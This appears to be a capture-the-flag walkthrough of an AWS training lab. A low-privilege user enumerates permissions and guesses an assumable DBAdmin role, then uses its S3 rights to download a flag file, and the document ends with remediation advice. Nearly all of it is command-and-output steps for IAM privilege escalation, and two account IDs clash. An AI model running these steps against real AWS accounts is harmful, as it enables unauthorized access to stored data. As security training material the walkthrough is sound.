Skip to content

Trust Me Walkthrough

Lab Name: Trust Me
Platform: Infinity Learning

We start as Backend_Developer, find that it can assume DBAdmin, and use that role’s S3 permissions to retrieve Flag.txt. We check the trust policy to see who can assume the role and its permissions to see what the session can access.

Initial Access:

We need to enumerate IAM roles, identify an assumable privileged role, and use it to reach the flag.

AWS Resources:

The environment contains IAM users, roles, policies, and an S3 bucket.

/AWS-Red-Team-IAM-01-1


Terminal window
aws configure --profile Track_Me
Output
AWS Access Key ID [None]: [REDACTED_AWS_ACCESS_KEY_ID]
AWS Secret Access Key [None]: [REDACTED_AWS_SECRET_ACCESS_KEY]
Default region name [None]: us-east-1
Default output format [None]: json
Terminal window
aws sts get-caller-identity --profile Track_Me
Output
{
"UserId": "[REDACTED_AWS_USERID]",
"Account": "058264439561",
"Arn": "arn:aws:iam::058264439561:user/Backend_Developer"
}
Terminal window
run iam__bruteforce_permissions
Output
Running module iam__bruteforce_permissions...
[iam__bruteforce_permissions] Enumerated IAM Permissions:
[iam__bruteforce_permissions] Enumerating us-east-1
2025-11-28 13:08:57,972 - 6811 - [INFO] Starting permission enumeration for access-key-id "[REDACTED_AWS_ACCESS_KEY_ID]"
2025-11-28 13:08:59,565 - 6811 - [INFO] -- Account ARN : arn:aws:iam::058264439561:user/Backend_Developer
2025-11-28 13:08:59,565 - 6811 - [INFO] -- Account Id : 058264439561
2025-11-28 13:08:59,565 - 6811 - [INFO] -- Account Path: user/Backend_Developer
2025-11-28 13:08:59,863 - 6811 - [INFO] Attempting common-service describe / list brute force.
2025-11-28 13:09:04,387 - 6811 - [ERROR] Remove globalaccelerator.describe_accelerator_attributes action
2025-11-28 13:09:09,750 - 6811 - [ERROR] Remove codedeploy.get_deployment_target action
2025-11-28 13:09:09,751 - 6811 - [ERROR] Remove codedeploy.batch_get_deployment_targets action
2025-11-28 13:09:11,960 - 6811 - [ERROR] Remove codedeploy.list_deployment_targets action
2025-11-28 13:09:14,377 - 6811 - [INFO] -- dynamodb.describe_endpoints() worked!
2025-11-28 13:09:14,461 - 6811 - [INFO] -- sts.get_session_token() worked!
2025-11-28 13:09:14,751 - 6811 - [INFO] -- sts.get_caller_identity() worked!

Key Findings:

  • dynamodb.describe_endpoints()
  • sts.get_session_token()
  • sts.get_caller_identity()
Terminal window
python3 assume_role_enum.py -p Trust_Me -i 058264439561 -w wordlist.txt
Output
Targeting account ID: 058264439561
Starting role enumeration...
{
"Credentials": {
"AccessKeyId": "[REDACTED_AWS_ACCESS_KEY_ID]",
"SecretAccessKey": "[REDACTED_AWS_SECRET_ACCESS_KEY]",
"SessionToken": "[REDACTED_AWS_SESSION_TOKEN]",
"Expiration": "[REDACTED]"
},
"AssumedRoleUser": {
"AssumedRoleId": "[REDACTED]",
"Arn": "[REDACTED]"
}
}

The enumeration returned temporary credentials for an assumable role identified here as DBAdmin. The local assume_role_enum.py helper is not included in this article; this capture documents its result, not a self-contained setup for the helper. The starting profile is called Track_Me above but Trust_Me in this capture, so use one consistent profile when reproducing the workflow.

Create a profile using all three returned fields: access key, secret key, and session token.

Terminal window
aws configure --profile DBadmin set aws_access_key_id [REDACTED_AWS_ACCESS_KEY_ID]
Terminal window
aws configure --profile DBadmin set aws_secret_access_key [REDACTED_AWS_SECRET_ACCESS_KEY]
aws configure --profile DBadmin set aws_session_token [REDACTED_AWS_SESSION_TOKEN]
Terminal window
aws iam list-attached-role-policies --role-name DBAdmin --profile DBadmin

Output:

Output
{
"AttachedPolicies": [{
"PolicyName": "Manager_Access_S3",
"PolicyArn": "arn:aws:iam::058264439561:policy/Manager_Access_S3"
}]
}
Terminal window
aws iam get-policy-version --policy-arn arn:aws:iam::058264439561:policy/Manager_Access_S3 --version-id v1 --profile DBadmin
Output
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::securecorpbakstoragebuk",
"arn:aws:s3:::securecorpbakstoragebuk/*"
]
},
{
"Action": [
"iam:ListAttachedRolePolicies",
"iam:GetPolicy",
"iam:GetPolicyVersion",
"iam:GetRolePolicy"
],
"Effect": "Allow",
"Resource": "arn:aws:iam::999909936336:role/DBAdmin"
},
{
"Action": [
"iam:GetPolicy",
"iam:GetPolicyVersion"
],
"Effect": "Allow",
"Resource": "arn:aws:iam::999909936336:policy/Manager_Access_S3"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": false,
"CreateDate": "2024-09-19T12:31:43+00:00"
}
}

Key Permissions Found:

  • s3:GetObject on arn:aws:s3:::securecorpbakstoragebuk/*
  • s3:ListBucket on arn:aws:s3:::securecorpbakstoragebuk
Terminal window
aws s3 ls s3://securecorpbakstoragebuk/ --profile DBadmin
Output
2024-09-19 18:01:57 28 Flag.txt
  • We found the flag file and can download it.
Terminal window
aws s3 cp s3://securecorpbakstoragebuk/Flag.txt . --profile DBadmin
Terminal window
download: s3://securecorpbakstoragebuk/Flag.txt to ./Flag.txt
cat Flag.txt
Output
[REDACTED_FLAG]

Flag: [REDACTED_FLAG]

  • Remove Backend_Developer from the DBAdmin trust relationship if that access is not required. Limit the role’s S3 permissions to its intended workload.
  • Add MFA conditions and source IP restrictions, and monitor AssumeRole events.